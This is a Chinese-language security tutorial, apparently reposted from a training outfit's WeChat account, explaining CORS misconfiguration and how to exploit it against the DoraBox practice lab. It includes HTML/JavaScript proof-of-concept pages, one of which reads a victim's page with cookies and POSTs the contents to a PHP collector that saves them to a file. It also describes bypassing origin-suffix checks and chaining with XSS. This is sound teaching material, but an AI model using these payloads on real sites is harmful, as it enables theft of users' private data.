文库|Cors跨域漏洞

  • A+
所属分类:安全文章

高质量的安全文章,安全offer面试经验分享

尽在 # 掌控安全EDU #



作者:掌控安全-手电筒

一、cors 危害

因为同源策略的存在,不同源的客户端脚本不能访问目标站点的资源,如果目标站点配置不当,没有对请求源的域做严格限制,导致任意源都可以访问时,就存在cors跨域漏洞问题,cors漏洞一般用于窃取用户敏感数据,如果用户点击触发了恶意页面,就会被窃取数据

同源策略

说到跨域漏洞,那就先要了解同源策略

同源策略用于限制应用程序之间的资源共享,确保一个应用里的资源只能被本应用的资源所访问,如果要跨域通信。

必须要引入跨域资源共享,如果没有正确配置,就会导致漏洞产生

同源是指协议,域名,端口三个都相同,即使是同一个ip,不同域名也不是同源,同源策略里允许发出请求,但是不允许访问响应

同源示例

设 http://test.com/a/123.html 源

URL 是否同源 不同处
http://test.com/a/asd.html 同源 路径不同
http://test.com/abcvb/123.html 同源 路径不同
http://test.com/abc/123458.html 同源 路径不同
https://test.com/a/1234.html 不同源 协议不同
http://test.com:88/a/1234.html 不同源 端口不同
http://test.com:82/a/1234.html 不同源 端口不同
http://bbb.test.com/a/1234.html 不同源 域名不同,子域名不算同源

Cros跨域资源共享


这里就要提到Cros跨域资源共享


跨域资源共享是一种放宽同源策略机制,允许浏览器向跨源服务器发出请求,绕过同源限制,可以跨域获取数据,一般是通过http里增加字段来限制跨域访问资源,限制特定的来源的服务器访问


一般使用头协议里的两个关键头字段


页面请求数据 Origin


这个Origin 一般用于表明请求的来源位置,表明该请求来源于那里,格式为 请求协议+域名+端口


页面响应数据 Access-Control-Allow-Origin


这里一般用于表明哪些域的请求是允许的,表明允许那里的请求


Access-Control-Allow-Origin这里有不同的设置


当设置为 时,代表允许任意请求访问资源 例如 Access-Control-Allow-Origin:
一般会指定一个域,允许该域访问,例如 Access-Control-Allow-

Origin: http://www.aaa.com:80

也有特殊情况,当Access-Control-Allow-Origin设置不固定,通过根据用户的跨域请求来设定,此时和设定为*没什么区别,任何网站都可以获取该服务端数据了

Access-Control-Allow-Origin也有其他相关的一些头字段,例如


Access-Control-Allow-Credentials: 当它设置为true时,允许跨域请求可以包含cookie

Access-Control-Allow-Headers: 允许跨域请求发送额外的head字段

Access-Control-Allow-Methods: 允许跨域请求的方式,表明服务器支持的跨域请求方法


Access-Control-Max-Age: 指定本次请求的有效期


这里cors请求又分简单请求和非简单请求


简单请求:


简单请求就是浏览器直接发出cors请求,就是在头信息中直接加个Origin字段

非简单请求


非简单请求就是在正式请求之前,先进行预检请求,询问服务器该域名是否在服务器可请求名单中,得到答复后再执行


简单请求和非简单请求不影响漏洞,漏洞产生原因在于没有对请求源做严格限制


二、漏洞产生原因


配置不当,没有限制请求的源,例如Access-Control-Allow-Origin 设置为*,允许任意源请求访问 ,或设置请求源的域名没有完整,没有对请求源的域做严格限制,导致任意源都可以访问,造成跨域问题


实列


例如某一站点没有对请求源的域做严格限制,这时候攻击者制作一个恶意页面让目标去点击,目标点击后攻击者就可以获取到当前目标所在页面的信息


三、利用方式


cors 使用了错误的通配符


该漏洞有三种利用方式


第一种为当Access-Control-Allow-Origin设置为通配符* 允许任意源请求时

测试环境


这里使用Dorabox这个靶场来测试


首先我们访问页面


文库|Cors跨域漏洞

这里是模拟了我们正常的用户访问页面所返回的,这里我们抓包看下


文库|Cors跨域漏洞

抓取数据包,发现这里的Access-Control-Allow-Origin里参数为* ,说明这里并没有指定域访问,我们可以进行cros攻击


为什么我们的请求包里没有Origin这个字段呢?


这里是因为数据包里默认不显示


如果要查看请求包里的Origin的话,可以在burp里设置


文库|Cors跨域漏洞


Match and replace里加载origin相关选项


里漏洞要如何利用呢,我们可以构造一个exp,像csrf那样,发送钓鱼网站链接,读取用户的数据


测试代码如下


<!DOCTYPE>
<html>
<script type="text/javascript">
function loadXMLDoc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange=function()
{
if(xhr.readyState == 4 && xhr.status == 200) //if receive xhr response
{
var datas=xhr.responseText;
alert(datas);
}
}
xhr.open("GET","http://192.168.1.81/DoraBox-master(1)/DoraBox-master/csrf/userinfo.php","true")
xhr.send();
}
loadXMLDoc();
</script>
</html>

这个poc效果为读取目标页面的信息并以弹窗的形式返回读取到的页面内容


效果如下


文库|Cors跨域漏洞

成功读取到了内容


那么,我们要怎么去更好的利用呢,实际使用的话,我们可以去读取目标页面内容并返回到一个额外的页面上


测试代码如下


<!DOCTYPE>
<html>
<script type="text/javascript">
function re()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.open("GET","http://192.168.1.81/DoraBox-master(1)/DoraBox-master/csrf/userinfo.php","true")
xhr1.withCredentials = true;
xhr1.send();
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200)
{
var datas=xhr1.responseText;
xhr2.open("POST","http://192.168.1.81/test/2.php","true");
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr2.send("cc="+escape(datas));
}
}
}
re();
</script>
</html>


读取页面内容并通过php文件把内容写到一个额外的文件上


php 里的内容


<?php
$file=fopen("3.txt","w+");
$res=$_POST['cc'];
fwrite($file,$res);
fclose($res);
?>

测试效果如下

文库|Cors跨域漏洞

使用不完整的域名去匹配


第二种利用场景,错误匹配了不完整的域名


当后端验证使用了不完整的域名时


例如


if (@$_SERVER[‘HTTP_ORIGIN’] == ‘http://*fangwen.com'){

这样的不完整域名时,说明目标域信任以fangwen.com 为结尾的所有源的访问

这时可以通过抓包修改请求的源,例如 asdvbnjfangwen.com 去访问,达到绕过效果


或者可以在服务器上弄一个末尾带有fangwen.com的新域名去制作一个恶意站点来利用


结合xss使用


第三种利用场景,结合xss使用


cors结合xss使用


一般使用情况下,如果这个主域信任子域,而子域存在xss漏洞,那么可以通过子域的xss漏洞,去读取主域里的敏感信息


当然也可以同一网站下不同网页里进行,只要同源就行


可以直接套用前面的Dorabox的环境


在xss漏洞出插入poc,得到弹窗,读取到了内容


文库|Cors跨域漏洞



回顾往期内容

Xray挂机刷漏洞

POC批量验证Python脚本编写

实战纪实 | SQL漏洞实战挖掘技巧

渗透工具 | 红队常用的那些工具分享

代码审计 | 这个CNVD证书拿的有点轻松

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

文库|Cors跨域漏洞


扫码白嫖视频+工具+进群+靶场等资料


文库|Cors跨域漏洞

 


文库|Cors跨域漏洞

 扫码白嫖


 还有免费的配套靶场交流群哦!

本文始发于微信公众号(掌控安全EDU):文库|Cors跨域漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: